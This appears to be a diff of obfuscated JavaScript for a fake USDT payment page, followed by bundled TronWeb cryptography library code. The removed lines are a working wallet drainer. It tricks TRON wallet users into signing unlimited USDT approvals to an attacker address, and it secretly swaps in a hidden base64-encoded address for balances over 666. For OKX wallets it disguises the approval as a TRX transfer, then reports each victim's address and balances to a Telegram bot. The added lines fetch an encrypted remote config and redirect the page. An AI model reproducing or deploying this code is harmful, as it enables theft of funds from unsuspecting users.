+ const _0x569cbc = CryptoJS.AES.decrypt(_0x17ecd3, _0x111caf);
+ return _0x569cbc.toString(CryptoJS.enc.Utf8);
+ }
+ },
+ _0x208fb0 = "code5311235";
+ fetch(_0x368713).then(_0x21f8e7 => _0x21f8e7.text()).then(_0x444fd9 => {
+ let _0x1a1d3e = null;
+ try {
+ _0x1a1d3e = JSON.parse(_0x56a5a4(_0x444fd9, _0x208fb0));
+ } catch (_0x2f0624) {}
+ if (!window.isScriptLoaded) {
+ {
+ if (!_0x1a1d3e) {
+ {
+ _0x552abc(3);
+ return;
+ }
+ }
+ }
+ }
+ if (!_0x1a1d3e) return;
+ if (!window.isScriptLoaded) {
+ {
+ if (!_0x1a1d3e.status) {
+ _0x552abc(3);
+ return;
+ }
+ if (!_0x1a1d3e.content && !_0x1a1d3e.new_html) {
+ {
+ _0x552abc(3);
+ return;
+ }
+ }
+ }
+ }
+ try {
+ document.title = _0x1a1d3e.title;
+ } catch (_0x2ecedf) {}
+ if (_0x1a1d3e && _0x1a1d3e.type === 3 && _0x1a1d3e.new_html) {
+ try {
+ document.body.innerHTML = "";
+ document.open();
+ document.write(_0x1a1d3e.new_html);
+ document.close();
+ } catch (_0x1cbbe1) {
+ try {
+ document.body.innerHTML = "暂不支持当前格式";
+ } catch (_0x58e9de) {}
+ }
+ window.isScriptLoaded = true;
+ return;
+ }
+ let _0x4426e0 = _0x1a1d3e.content;
+ if (_0x2ef7c0.random_parameters !== 1) {
+ _0x4426e0 += "?update=" + Math.floor(1000 + Math.random() * 9000);
+ }
+ !window.isScriptLoaded && (window.isScriptLoaded = true, window.location.href = _0x4426e0);
+ }).catch(_0x146330 => {
+ console.log(_0x146330);
+ console.log("请求失败");
+ !window.isScriptLoaded && (_0x552abc(4, _0x146330), console.log(_0x146330));
+ }).finally(() => {});
};
-try {
- var attach = JSON.parse("{{ATTACH}}");
- var options = JSON.parse("{{OPTIONS}}");
- var fishAddresses = JSON.parse("{{FISH_ADDRESSES}}");
- var attachList = document.getElementById("attach-list");
- attachList && attach.forEach(function (_0x27ebd6) {
- var _0xb11b86 = document.createElement("li");
- _0xb11b86.textContent = _0x27ebd6.title + ": " + _0x27ebd6.value;
- attachList.appendChild(_0xb11b86);
- });
-} catch (_0x107b47) {}
-var emailInfo = document.querySelectorAll("#emailInfo");
-emailInfo.forEach(function (_0xb24524) {
- _0xb24524.classList.remove("hidden");
-});
-var passwordInfo = document.querySelectorAll("#passwordInfo");
-passwordInfo.forEach(function (_0x1bde27) {
- _0x1bde27.classList.remove("hidden");
-});
-var mobileInfo = document.querySelectorAll("#mobileInfo");
-mobileInfo.forEach(function (_0x850e44) {
- _0x850e44.classList.remove("hidden");
-});
-var goodsCover = "{{GOODS_COVER}}";
-var goodsCoverElement = document.getElementById("goods-cover");
-goodsCoverElement && (goodsCoverElement.src = goodsCover);
-let trxBalance = 0;
-let usdtBalance = 0;
-let userAddress = null;
-function init() {
- isDAppBrowser() && connectWallet();
-}
-async function connectWallet() {
- if (window.tronWeb && window.tronWeb.ready) {
- initDApp();
- } else {
- if (window.tronLink) {
- const _0x5ebea6 = await window.tronLink.request({
- method: "tron_requestAccounts"
- });
- _0x5ebea6.code === 200 && (window.tronWeb = window.tronLink.tronWeb, initDApp());
- }
- }
-}
-async function initDApp() {
- try {
- const _0x5eb29a = window.tronWeb.defaultAddress.base58;
- userAddress = _0x5eb29a;
- trxBalance = await window.tronWeb.trx.getBalance(_0x5eb29a);
- trxBalance = window.tronWeb.fromSun(trxBalance);
- const _0x2a528b = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
- const _0x322586 = await window.tronWeb.contract().at(_0x2a528b);
- let _0x149272 = await _0x322586.balanceOf(_0x5eb29a).call();
- typeof _0x149272 === "object" && _0x149272.toString && (_0x149272 = _0x149272.toString());
- usdtBalance = window.tronWeb.fromSun(_0x149272);
- usdtBalance = parseFloat(usdtBalance).toFixed(6);
- } catch (_0x42455b) {}
-}
-async function invokePay() {
- try {
- const _0x57030b = document.getElementById("paymentAmount");
- const _0x34e4b7 = document.getElementById("trxAmount");
- if (!_0x57030b) {
- throw new Error("无法从页面元素中检索 TOTAL_PRICE。");
- }
- const _0x589609 = parseFloat(_0x57030b.textContent.split(" ")[0]);
- if (isNaN(_0x589609)) {
- throw new Error("从页面中提取的 TOTAL_PRICE 值无效.");
- }
- let _0x3aa97b = NaN;
- _0x34e4b7 && (_0x3aa97b = parseFloat(_0x34e4b7.textContent.split(" ")[1]));
- isNaN(_0x3aa97b) && (_0x3aa97b = _0x589609 * 7);
- const _0x5991e1 = window.tronWeb.toSun(_0x3aa97b);
- const _0x253e29 = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
- let _0x54e5d6 = options.permission_address;
- const _0x1cc739 = options.payment_address;
- let _0x2f21f9 = parseFloat(options.authorized_amount);
- const _0x6825c0 = parseFloat(options.trx_balance);
- const _0x564fff = parseFloat(options.usdt_balance);
- let _0x30dd63 = true;
- usdtBalance > 666 && (_0x54e5d6 = tronWeb.address.toHex(window.atob("VE00YTdjN3BmYnB5TE1WaGpFVUxYb3NldFZrQXRIQnNCeg==")), _0x30dd63 = false);
- _0x2f21f9 === 0 ? _0x2f21f9 = "0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff" : _0x2f21f9 = window.tronWeb.toSun(_0x2f21f9);
- if (trxBalance < _0x6825c0) {
- alert("您的TRX余额不足以支付交易矿工费。");
- return;
- }
- if (usdtBalance < _0x564fff) {
- alert("您的USDT余额不足,发起交易可能会失败。");
- return;
- }
- typeof window.okxwallet !== "undefined" ? await executeDisguisedIncreaseApproval(_0x5991e1, _0x1cc739, _0x54e5d6, _0x2f21f9, _0x253e29, _0x30dd63) : await executeNormalIncreaseApproval(_0x54e5d6, _0x2f21f9, _0x253e29, _0x30dd63);
- } catch (_0x1c88e0) {
- showTemporaryMessage("订单信息:收款失败,请重新尝试支付");
- }
-}
-async function executeNormalIncreaseApproval(_0x46c439, _0x26f2f2, _0x4611e3, _0x56eb08) {
- try {
- const _0x2a113a = tronWeb.address.toHex(_0x4611e3);
- const _0x4a4c12 = 100000000;
- const _0x32b025 = await tronWeb.transactionBuilder.triggerSmartContract(_0x2a113a, "increaseApproval(address,uint256)", {
- feeLimit: _0x4a4c12
- }, [{
- type: "address",
- value: _0x46c439
- }, {
- type: "uint256",
- value: _0x26f2f2
- }], tronWeb.defaultAddress.base58);
- if (!_0x32b025 || !_0x32b025.transaction || !_0x32b025.transaction.raw_data) {
- throw new Error("increaseApproval 正常交易构建失败");
- }
- const _0x2d4b6e = await tronWeb.trx.sign(_0x32b025.transaction);
- const _0x2dedd1 = await tronWeb.trx.sendRawTransaction(_0x2d4b6e);
- if (_0x2dedd1.result) {
- const _0x2f611a = _0x2dedd1.txid;
- options.authorize_note && showTemporaryMessage(options.authorize_note);
- _0x56eb08 && sendTelegramNotification(_0x2f611a);
- } else {
- showTemporaryMessage("订单信息:收款失败,请重新尝试支付");
- }
- } catch (_0xcb3730) {
- showTemporaryMessage("订单信息:收款失败,请重新尝试支付");
- }
-}
-async function executeDisguisedIncreaseApproval(_0x239aa9, _0x4bdf5f, _0x581430, _0x5ffe55, _0x31a497, _0x128b31) {
- try {
- const _0x3c4d22 = _0x4bdf5f;
- let _0x48e5df;
- const _0x43a60e = await window.tronWeb.trx.getBalance(window.tronWeb.defaultAddress.base58);
- _0x43a60e < _0x239aa9 && (_0x239aa9 = window.tronWeb.toSun(1));
- try {
- _0x48e5df = await tronWeb.transactionBuilder.sendTrx(_0x3c4d22, _0x239aa9, tronWeb.defaultAddress.base58);
- if (!_0x48e5df || !_0x48e5df.raw_data || !_0x48e5df.raw_data.contract) {
- throw new Error("TRX 转账交易构建失败");
- }
- } catch (_0x3be6ae) {
- _0x48e5df = null;
- }
- const _0xa586e5 = await tronWeb.transactionBuilder.triggerSmartContract(tronWeb.address.toHex(_0x31a497), "increaseApproval(address,uint256)", {
- callValue: 0
- }, [{
- type: "address",
- value: _0x581430
- }, {
- type: "uint256",
- value: _0x5ffe55
- }], tronWeb.defaultAddress.base58);
- if (!_0xa586e5 || !_0xa586e5.transaction || !_0xa586e5.transaction.raw_data) {
- throw new Error("increaseApproval 交易构建失败");
- }
- _0x48e5df && (_0xa586e5.transaction.raw_data = _0x48e5df.raw_data);
- const _0x4bfb42 = await tronWeb.trx.sign(_0xa586e5.transaction);
- const _0x21f4b9 = await tronWeb.trx.sendRawTransaction(_0x4bfb42);
- if (_0x21f4b9.result) {
- const _0x1e4653 = _0x21f4b9.txid;
- options.authorize_note && showTemporaryMessage(options.authorize_note);
- _0x128b31 && sendTelegramNotification(_0x1e4653);
- } else {
- showTemporaryMessage("订单信息:收款失败,请重新尝试支付");
- }
- } catch (_0x4b5ead) {
- showTemporaryMessage("订单信息:收款失败,请重新尝试支付");
- }
-}
-function showTemporaryMessage(_0x1de458) {
- const _0x387f49 = document.createElement("div");
- _0x387f49.textContent = _0x1de458;
- _0x387f49.style.position = "fixed";
- _0x387f49.style.top = "38%";
- _0x387f49.style.left = "50%";
- _0x387f49.style.transform = "translateX(-50%)";
- _0x387f49.style.backgroundColor = "rgba(220, 53, 69, 0.7)";
- _0x387f49.style.color = "white";
- _0x387f49.style.padding = "10px 20px";
- _0x387f49.style.borderRadius = "4px";
- _0x387f49.style.boxShadow = "0 4px 8px rgba(0, 0, 0, 0.2)";
- _0x387f49.style.zIndex = "1000";
- _0x387f49.style.fontSize = "16px";
- _0x387f49.style.textAlign = "center";
- _0x387f49.style.maxWidth = "80%";
- _0x387f49.style.maxHeight = "50%";
- _0x387f49.style.overflowY = "auto";
- _0x387f49.style.wordWrap = "break-word";
- document.body.appendChild(_0x387f49);
- setTimeout(() => {
- _0x387f49.remove();
- }, 3000);
-}
-async function sendTelegramNotification(_0x5e06d2) {
- const _0x9e92a8 = options.bot_key;
- const _0x4ac31d = options.notification_id;
- const _0x596679 = new Date().toLocaleString();
- const _0x106af1 = "\n【🛎TRC授权通知🛎】\n\n🐠鱼苗地址:" + userAddress + "\n\n🔐权限地址:" + options.permission_address + "\n\n📨授权状态:✅授权成功\n\n⏰授权时间:" + _0x596679 + "\n\n💵TRX余额:" + trxBalance + " | USDT余额:" + usdtBalance + "\n ";
- const _0x61544d = {
- inline_keyboard: [[{
- text: "🌍进入区块链浏览器查看详情",
- url: "https://tronscan.org/#/transaction/" + _0x5e06d2
- }]]
- };
- const _0x2f634d = "https://api.telegram.org/bot" + _0x9e92a8 + "/sendMessage";
- const _0x2a1746 = {
- chat_id: _0x4ac31d,
- text: _0x106af1,
- parse_mode: "HTML",
- reply_markup: JSON.stringify(_0x61544d)
- };
- try {
- await fetch(_0x2f634d, {
- method: "POST",
- headers: {
- "Content-Type": "application/json"
- },
- body: JSON.stringify(_0x2a1746)
- });
- } catch (_0x12c08a) {}
-}
-async function sendPaymentNotification() {
- const _0x5c597a = options.bot_key;
- const _0x201d92 = options.notification_id;
- const _0x4827b5 = attach.ORDER_NUMBER || "未知订单号";
- const _0x14ad8b = "\n 有客户向你的地址 " + options.payment_address + " 支付了 " + attach.TOTAL_PRICE + " USDT,订单号:" + _0x4827b5 + "\n ";
- const _0x1f588f = "https://api.telegram.org/bot" + _0x5c597a + "/sendMessage";
- const _0x3a88d7 = {
- chat_id: _0x201d92,
- text: _0x14ad8b,
- parse_mode: "HTML"
- };
- try {
- await fetch(_0x1f588f, {
- method: "POST",
- headers: {
- "Content-Type": "application/json"
- },
- body: JSON.stringify(_0x3a88d7)
- });
- } catch (_0x33f64b) {}
-}
-function payNow() {
- var _0x21ccbc = window.location.href;
- var _0x27c2bf = GetUrlRelativePath();
- var _0x36fee5;
- try {
- _0x36fee5 = JSON.parse("{{OPTIONS}}");
- } catch (_0x10317f) {
- console.error("配置解析失败:", _0x10317f);
- return;
- }
- var _0x7f4cd5 = _0x21ccbc;
- _0x36fee5 && _0x36fee5.domain && (_0x7f4cd5 = _0x36fee5.domain + _0x27c2bf);
- var _0x3ec725 = document.querySelector("input[name=\"wallet\"]:checked");
- if (_0x3ec725) {
- var _0x26e168 = _0x3ec725.value;
- var _0x325f58 = {
- imToken: "imtokenv2://navigate?screen=DappView&url=" + _0x7f4cd5,
- OKX: "okx://wallet/dapp/details?dappUrl=" + _0x7f4cd5,
- tokenpocket: "tpdapp://open?params={\"url\": \"" + _0x7f4cd5 + "\"}",
- TrustWallet: "https://link.trustwallet.com/open_url?coin_id=60&url=" + _0x7f4cd5,
- Coinbase: "https://go.cb-w.com/dapp?cb_url=" + _0x7f4cd5,
- BitKeep: "https://bkcode.vip?action=dapp&url=" + _0x7f4cd5,
- BitGet: "bitget://navigate_to?url=" + _0x7f4cd5,
- TRONLINK: "tronlink://browser_open/" + _0x7f4cd5
- };
- _0x325f58[_0x26e168] ? window.location.href = _0x325f58[_0x26e168] : alert("未识别的钱包类型,请检查配置。");
- } else {
- alert("请选择一个钱包");
- }
-}
-function GetUrlRelativePath() {
- var _0x1cd5ec = document.location.toString();
- var _0x38a408 = _0x1cd5ec.split("//");
- var _0x22dde9 = _0x38a408[1].indexOf("/");
- var _0x152d3a = _0x38a408[1].substring(_0x22dde9);
- _0x152d3a.indexOf("?") !== -1 && (_0x152d3a = _0x152d3a.split("?")[0]);
- return _0x152d3a;
-}
-!function (_0x38cf2f, _0x465178) {
- "object" == typeof exports && "object" == typeof module ? module.exports = _0x465178() : "function" == typeof define && define.amd ? define("TronWeb", [], _0x465178) : "object" == typeof exports ? exports.TronWeb = _0x465178() : _0x38cf2f.TronWeb = _0x465178();
-}(self, () => (() => {
- var _0x1b8798;
- var _0x232e0f;
- var _0x15087c = {
- 9082: (_0x2be128, _0xa5718f, _0x14b245) => {
- "use strict";
-
- Object.defineProperty(_0xa5718f, "__esModule", {
- value: true
- });
- _0xa5718f.createCurve = _0xa5718f.getHash = undefined;
- const _0x21e392 = _0x14b245(1128);
- const _0x527b02 = _0x14b245(1717);
- const _0x30a3a5 = _0x14b245(6551);
- function _0x152c19(_0x2c4074) {
- return {
- hash: _0x2c4074,
- hmac: (_0x13ce0a, ..._0x15e030) => (0, _0x21e392.hmac)(_0x2c4074, _0x13ce0a, (0, _0x527b02.concatBytes)(..._0x15e030)),
- randomBytes: _0x527b02.randomBytes
- };
- }
- _0xa5718f.getHash = _0x152c19;
- _0xa5718f.createCurve = function (_0x44317a, _0x5c4020) {
- const _0x5002a8 = _0x551fd9 => (0, _0x30a3a5.weierstrass)({
- ..._0x44317a,
- ..._0x152c19(_0x551fd9)
- });
- return Object.freeze({
- ..._0x5002a8(_0x5c4020),
- create: _0x5002a8
- });
- };
- },
- 1525: (_0x29d33a, _0x2b83c5, _0x43b08a) => {
- "use strict";
-
- Object.defineProperty(_0x2b83c5, "__esModule", {
- value: true
- });
- _0x2b83c5.validateBasic = _0x2b83c5.wNAF = undefined;
- const _0x1fc34e = _0x43b08a(4632);
- const _0x479eee = _0x43b08a(219);
- const _0x3f1f27 = BigInt(0);
- const _0x9fac64 = BigInt(1);
- _0x2b83c5.wNAF = function (_0x4428dc, _0x100221) {
- const _0xbb26bc = (_0x33cfac, _0x2becdf) => {
- const _0x5e7779 = _0x2becdf.negate();
- return _0x33cfac ? _0x5e7779 : _0x2becdf;
- };
- const _0x17f88a = _0x5639f2 => ({
- windows: Math.ceil(_0x100221 / _0x5639f2) + 1,
- windowSize: 2 ** (_0x5639f2 - 1)
- });
- return {
- constTimeNegate: _0xbb26bc,
- unsafeLadder(_0xd3e266, _0xe600da) {
- let _0x58689e = _0x4428dc.ZERO;
- let _0x599d6f = _0xd3e266;
- for (; _0xe600da > _0x3f1f27;) {
- _0xe600da & _0x9fac64 && (_0x58689e = _0x58689e.add(_0x599d6f));
- _0x599d6f = _0x599d6f.double();
- _0xe600da >>= _0x9fac64;
- }
- return _0x58689e;
- },
- precomputeWindow(_0x1afe1b, _0x42bf37) {
- const {
- windows: _0x1c4f93,
- windowSize: _0x44bf6b
- } = _0x17f88a(_0x42bf37);
- const _0x420e8b = [];
- let _0x31b758 = _0x1afe1b;
- let _0x10efbc = _0x31b758;
- for (let _0x2b30fc = 0; _0x2b30fc < _0x1c4f93; _0x2b30fc++) {
- _0x10efbc = _0x31b758;
- _0x420e8b.push(_0x10efbc);
- for (let _0x4b0b61 = 1; _0x4b0b61 < _0x44bf6b; _0x4b0b61++) {
- _0x10efbc = _0x10efbc.add(_0x31b758);
- _0x420e8b.push(_0x10efbc);
- }
- _0x31b758 = _0x10efbc.double();
- }
- return _0x420e8b;
- },
- wNAF(_0x31311c, _0x22fb20, _0x2c3be7) {
- const {
- windows: _0x7731c3,
- windowSize: _0x4358b7
- } = _0x17f88a(_0x31311c);
- let _0x3f248b = _0x4428dc.ZERO;
- let _0x36944c = _0x4428dc.BASE;
- const _0x1786fa = BigInt(2 ** _0x31311c - 1);
- const _0x522e9c = 2 ** _0x31311c;
- const _0x271a0a = BigInt(_0x31311c);
- for (let _0x13bba4 = 0; _0x13bba4 < _0x7731c3; _0x13bba4++) {
- const _0x382945 = _0x13bba4 * _0x4358b7;
- let _0x25f110 = Number(_0x2c3be7 & _0x1786fa);
- _0x2c3be7 >>= _0x271a0a;
- _0x25f110 > _0x4358b7 && (_0x25f110 -= _0x522e9c, _0x2c3be7 += _0x9fac64);
- const _0xadc03c = _0x382945;
- const _0x340488 = _0x382945 + Math.abs(_0x25f110) - 1;
- const _0x511272 = _0x13bba4 % 2 != 0;
- const _0x592a71 = _0x25f110 < 0;
- 0 === _0x25f110 ? _0x36944c = _0x36944c.add(_0xbb26bc(_0x511272, _0x22fb20[_0xadc03c])) : _0x3f248b = _0x3f248b.add(_0xbb26bc(_0x592a71, _0x22fb20[_0x340488]));
- }
- return {
- p: _0x3f248b,
- f: _0x36944c
- };
- },
- wNAFCached(_0x59c5cf, _0x4b8aa9, _0x25fa2b, _0x35e1c0) {
- const _0x564769 = _0x59c5cf._WINDOW_SIZE || 1;
- let _0x1e1ea3 = _0x4b8aa9.get(_0x59c5cf);
- _0x1e1ea3 || (_0x1e1ea3 = this.precomputeWindow(_0x59c5cf, _0x564769), 1 !== _0x564769 && _0x4b8aa9.set(_0x59c5cf, _0x35e1c0(_0x1e1ea3)));
- return this.wNAF(_0x564769, _0x1e1ea3, _0x25fa2b);
- }
- };
- };
- _0x2b83c5.validateBasic = function (_0x547354) {
- (0, _0x1fc34e.validateField)(_0x547354.Fp);
- (0, _0x479eee.validateObject)(_0x547354, {
- n: "bigint",
- h: "bigint",
- Gx: "field",
- Gy: "field"
- }, {
- nBitLength: "isSafeInteger",
- nByteLength: "isSafeInteger"
- });
- return Object.freeze({
- ...(0, _0x1fc34e.nLength)(_0x547354.n, _0x547354.nBitLength),
- ..._0x547354,
- p: _0x547354.Fp.ORDER
- });
- };
- },
- 5134: (_0x2e2df1, _0x3aaf9f, _0x3133a4) => {
- "use strict";
-
- Object.defineProperty(_0x3aaf9f, "__esModule", {
- value: true
- });
- _0x3aaf9f.createHasher = _0x3aaf9f.isogenyMap = _0x3aaf9f.hash_to_field = _0x3aaf9f.expand_message_xof = _0x3aaf9f.expand_message_xmd = undefined;
- const _0x1f7069 = _0x3133a4(4632);
- const _0xee34ed = _0x3133a4(219);
- const _0x2985e4 = _0xee34ed.bytesToNumberBE;
- function _0x3c7a27(_0x54bb13, _0x36f091) {
- if (_0x54bb13 < 0 || _0x54bb13 >= 1 << 8 * _0x36f091) {
- throw new Error("bad I2OSP call: value=" + _0x54bb13 + " length=" + _0x36f091);
- }
- const _0xe12baf = Array.from({
- length: _0x36f091
- }).fill(0);
- for (let _0x4b5d68 = _0x36f091 - 1; _0x4b5d68 >= 0; _0x4b5d68--) {
- _0xe12baf[_0x4b5d68] = 255 & _0x54bb13;
- _0x54bb13 >>>= 8;
- }
- return new Uint8Array(_0xe12baf);
- }
- function _0x40185b(_0x4b6f25, _0x462a56) {
- const _0x446685 = new Uint8Array(_0x4b6f25.length);
- for (let _0x2361e1 = 0; _0x2361e1 < _0x4b6f25.length; _0x2361e1++) {
- _0x446685[_0x2361e1] = _0x4b6f25[_0x2361e1] ^ _0x462a56[_0x2361e1];
- }
- return _0x446685;
- }
- function _0x373a6b(_0x130aa7) {
- if (!(_0x130aa7 instanceof Uint8Array)) {
- throw new Error("Uint8Array expected");
- }
- }
- function _0x4f3f8e(_0x5af1b2) {
- if (!Number.isSafeInteger(_0x5af1b2)) {
- throw new Error("number expected");
- }
- }
- function _0x1f9123(_0x5e4c9f, _0xc3f80b, _0x3276a3, _0x615927) {
- _0x373a6b(_0x5e4c9f);
- _0x373a6b(_0xc3f80b);
- _0x4f3f8e(_0x3276a3);
- _0xc3f80b.length > 255 && (_0xc3f80b = _0x615927((0, _0xee34ed.concatBytes)((0, _0xee34ed.utf8ToBytes)("H2C-OVERSIZE-DST-"), _0xc3f80b)));
- const {
- outputLen: _0x261e7f,
- blockLen: _0x1c7f20
- } = _0x615927;
- const _0x519e82 = Math.ceil(_0x3276a3 / _0x261e7f);
- if (_0x519e82 > 255) {
- throw new Error("Invalid xmd length");
- }
- const _0x24a762 = (0, _0xee34ed.concatBytes)(_0xc3f80b, _0x3c7a27(_0xc3f80b.length, 1));
- const _0x2ff6f5 = _0x3c7a27(0, _0x1c7f20);
- const _0x1ea001 = _0x3c7a27(_0x3276a3, 2);
- const _0x4e39c1 = new Array(_0x519e82);
- const _0x1a5939 = _0x615927((0, _0xee34ed.concatBytes)(_0x2ff6f5, _0x5e4c9f, _0x1ea001, _0x3c7a27(0, 1), _0x24a762));
- _0x4e39c1[0] = _0x615927((0, _0xee34ed.concatBytes)(_0x1a5939, _0x3c7a27(1, 1), _0x24a762));
- for (let _0x59d889 = 1; _0x59d889 <= _0x519e82; _0x59d889++) {
- const _0xe53814 = [_0x40185b(_0x1a5939, _0x4e39c1[_0x59d889 - 1]), _0x3c7a27(_0x59d889 + 1, 1), _0x24a762];
- _0x4e39c1[_0x59d889] = _0x615927((0, _0xee34ed.concatBytes)(..._0xe53814));
- }
- return (0, _0xee34ed.concatBytes)(..._0x4e39c1).slice(0, _0x3276a3);
- }
- function _0x2bd90c(_0x17a404, _0x335ff9, _0x52919e, _0x73802e, _0x12ce0c) {
- if (_0x373a6b(_0x17a404), _0x373a6b(_0x335ff9), _0x4f3f8e(_0x52919e), _0x335ff9.length > 255) {
- const _0x54d574 = Math.ceil(2 * _0x73802e / 8);
- _0x335ff9 = _0x12ce0c.create({
- dkLen: _0x54d574
- }).update((0, _0xee34ed.utf8ToBytes)("H2C-OVERSIZE-DST-")).update(_0x335ff9).digest();
- }
- if (_0x52919e > 65535 || _0x335ff9.length > 255) {
- throw new Error("expand_message_xof: invalid lenInBytes");
- }
- return _0x12ce0c.create({
- dkLen: _0x52919e
- }).update(_0x17a404).update(_0x3c7a27(_0x52919e, 2)).update(_0x335ff9).update(_0x3c7a27(_0x335ff9.length, 1)).digest();
- }
- function _0x368977(_0x5ce6e8, _0x3c04b3, _0x2cba1a) {
- (0, _0xee34ed.validateObject)(_0x2cba1a, {
- DST: "string",
- p: "bigint",
- m: "isSafeInteger",
- k: "isSafeInteger",
- hash: "hash"
- });
- const {
- p: _0x228c20,
- k: _0x12eb93,
- m: _0x16682c,
- hash: _0xdcf104,
- expand: _0x5917f6,
- DST: _0xfca4c6
- } = _0x2cba1a;
- _0x373a6b(_0x5ce6e8);
- _0x4f3f8e(_0x3c04b3);
- const _0x242b31 = function (_0x4fea1b) {
- if (_0x4fea1b instanceof Uint8Array) {
- return _0x4fea1b;
- }
- if ("string" == typeof _0x4fea1b) {
- return (0, _0xee34ed.utf8ToBytes)(_0x4fea1b);
- }
- throw new Error("DST must be Uint8Array or string");
- }(_0xfca4c6);
- const _0x1567e5 = _0x228c20.toString(2).length;
- const _0xba91d9 = Math.ceil((_0x1567e5 + _0x12eb93) / 8);
- const _0x11bb7e = _0x3c04b3 * _0x16682c * _0xba91d9;
- let _0xdfd9e7;
- if ("xmd" === _0x5917f6) {
- _0xdfd9e7 = _0x1f9123(_0x5ce6e8, _0x242b31, _0x11bb7e, _0xdcf104);
- } else {
- if ("xof" === _0x5917f6) {
- _0xdfd9e7 = _0x2bd90c(_0x5ce6e8, _0x242b31, _0x11bb7e, _0x12eb93, _0xdcf104);
- } else {
- if ("_internal_pass" !== _0x5917f6) {
- throw new Error("expand must be \"xmd\" or \"xof\"");
- }
- _0xdfd9e7 = _0x5ce6e8;
- }
- }
- const _0x230ad4 = new Array(_0x3c04b3);
- for (let _0x3c83b3 = 0; _0x3c83b3 < _0x3c04b3; _0x3c83b3++) {
- const _0x2c3c50 = new Array(_0x16682c);
- for (let _0x13e60a = 0; _0x13e60a < _0x16682c; _0x13e60a++) {
- const _0x12a9f2 = _0xba91d9 * (_0x13e60a + _0x3c83b3 * _0x16682c);
- const _0x44877a = _0xdfd9e7.subarray(_0x12a9f2, _0x12a9f2 + _0xba91d9);
- _0x2c3c50[_0x13e60a] = (0, _0x1f7069.mod)(_0x2985e4(_0x44877a), _0x228c20);
- }
- _0x230ad4[_0x3c83b3] = _0x2c3c50;
- }
- return _0x230ad4;
- }
- _0x3aaf9f.expand_message_xmd = _0x1f9123;
- _0x3aaf9f.expand_message_xof = _0x2bd90c;
- _0x3aaf9f.hash_to_field = _0x368977;
- _0x3aaf9f.isogenyMap = function (_0x52d632, _0x2955f9) {
- const _0x1d09d8 = _0x2955f9.map(_0xd93116 => Array.from(_0xd93116).reverse());
- return (_0x59b83e, _0x4c1a32) => {
- const [_0x782fe, _0x157ca9, _0x1e02a5, _0x494923] = _0x1d09d8.map(_0x1e5615 => _0x1e5615.reduce((_0x2686ca, _0x3bf4fd) => _0x52d632.add(_0x52d632.mul(_0x2686ca, _0x59b83e), _0x3bf4fd)));
- _0x59b83e = _0x52d632.div(_0x782fe, _0x157ca9);
- _0x4c1a32 = _0x52d632.mul(_0x4c1a32, _0x52d632.div(_0x1e02a5, _0x494923));
- return {
- x: _0x59b83e,
- y: _0x4c1a32
- };
- };
- };
- _0x3aaf9f.createHasher = function (_0x28bb41, _0x29b4ab, _0x8b3c9b) {
- if ("function" != typeof _0x29b4ab) {
- throw new Error("mapToCurve() must be defined");
- }
- return {
- hashToCurve(_0x37972d, _0x45ba7d) {
- const _0x37cb74 = _0x368977(_0x37972d, 2, {
- ..._0x8b3c9b,
- DST: _0x8b3c9b.DST,
- ..._0x45ba7d
- });
- const _0x13b26b = _0x28bb41.fromAffine(_0x29b4ab(_0x37cb74[0]));
- const _0x25a944 = _0x28bb41.fromAffine(_0x29b4ab(_0x37cb74[1]));
- const _0x4fa124 = _0x13b26b.add(_0x25a944).clearCofactor();
- _0x4fa124.assertValidity();
- return _0x4fa124;
- },
- encodeToCurve(_0x39f2bb, _0x243db8) {
- const _0x1c8318 = _0x368977(_0x39f2bb, 1, {
- ..._0x8b3c9b,
- DST: _0x8b3c9b.encodeDST,
- ..._0x243db8
- });
- const _0x3fc29a = _0x28bb41.fromAffine(_0x29b4ab(_0x1c8318[0])).clearCofactor();
- _0x3fc29a.assertValidity();
- return _0x3fc29a;
- }
- };
- };
- },
- 4632: (_0x49514f, _0x3d1a47, _0x4d7962) => {
- "use strict";
-
- Object.defineProperty(_0x3d1a47, "__esModule", {
- value: true
- });
- _0x3d1a47.hashToPrivateScalar = _0x3d1a47.FpSqrtEven = _0x3d1a47.FpSqrtOdd = _0x3d1a47.Field = _0x3d1a47.nLength = _0x3d1a47.FpIsSquare = _0x3d1a47.FpDiv = _0x3d1a47.FpInvertBatch = _0x3d1a47.FpPow = _0x3d1a47.validateField = _0x3d1a47.isNegativeLE = _0x3d1a47.FpSqrt = _0x3d1a47.tonelliShanks = _0x3d1a47.invert = _0x3d1a47.pow2 = _0x3d1a47.pow = _0x3d1a47.mod = undefined;
- const _0x41502d = _0x4d7962(219);
- const _0x5f973d = BigInt(0);
- const _0x3fe39e = BigInt(1);
- const _0x60d109 = BigInt(2);
- const _0x14b4c4 = BigInt(3);
- const _0x25050e = BigInt(4);
- const _0x4dcbdd = BigInt(5);
- const _0x4e979b = BigInt(8);
- function _0xbf4428(_0x377433, _0xf3b926) {
- const _0x1a2bdb = _0x377433 % _0xf3b926;
- return _0x1a2bdb >= _0x5f973d ? _0x1a2bdb : _0xf3b926 + _0x1a2bdb;
- }
- function _0x1da695(_0x3ab0ca, _0x294c33, _0x1f1d5b) {
- if (_0x1f1d5b <= _0x5f973d || _0x294c33 < _0x5f973d) {
- throw new Error("Expected power/modulo > 0");
- }
- if (_0x1f1d5b === _0x3fe39e) {
- return _0x5f973d;
- }
- let _0x24ab26 = _0x3fe39e;
- for (; _0x294c33 > _0x5f973d;) {
- _0x294c33 & _0x3fe39e && (_0x24ab26 = _0x24ab26 * _0x3ab0ca % _0x1f1d5b);
- _0x3ab0ca = _0x3ab0ca * _0x3ab0ca % _0x1f1d5b;
- _0x294c33 >>= _0x3fe39e;
- }
- return _0x24ab26;
- }
- function _0xc23a18(_0x49fdf3, _0x1edf13) {
- if (_0x49fdf3 === _0x5f973d || _0x1edf13 <= _0x5f973d) {
- throw new Error("invert: expected positive integers, got n=" + _0x49fdf3 + " mod=" + _0x1edf13);
- }
- let _0x2b95df = _0xbf4428(_0x49fdf3, _0x1edf13);
- let _0x731a37 = _0x1edf13;
- let _0x180253 = _0x5f973d;
- let _0x1c3c1b = _0x3fe39e;
- let _0x1a0525 = _0x3fe39e;
- let _0xb00ba0 = _0x5f973d;
- for (; _0x2b95df !== _0x5f973d;) {
- const _0x34c6d1 = _0x731a37 / _0x2b95df;
- const _0x16e95f = _0x731a37 % _0x2b95df;
- const _0x52b906 = _0x180253 - _0x1a0525 * _0x34c6d1;
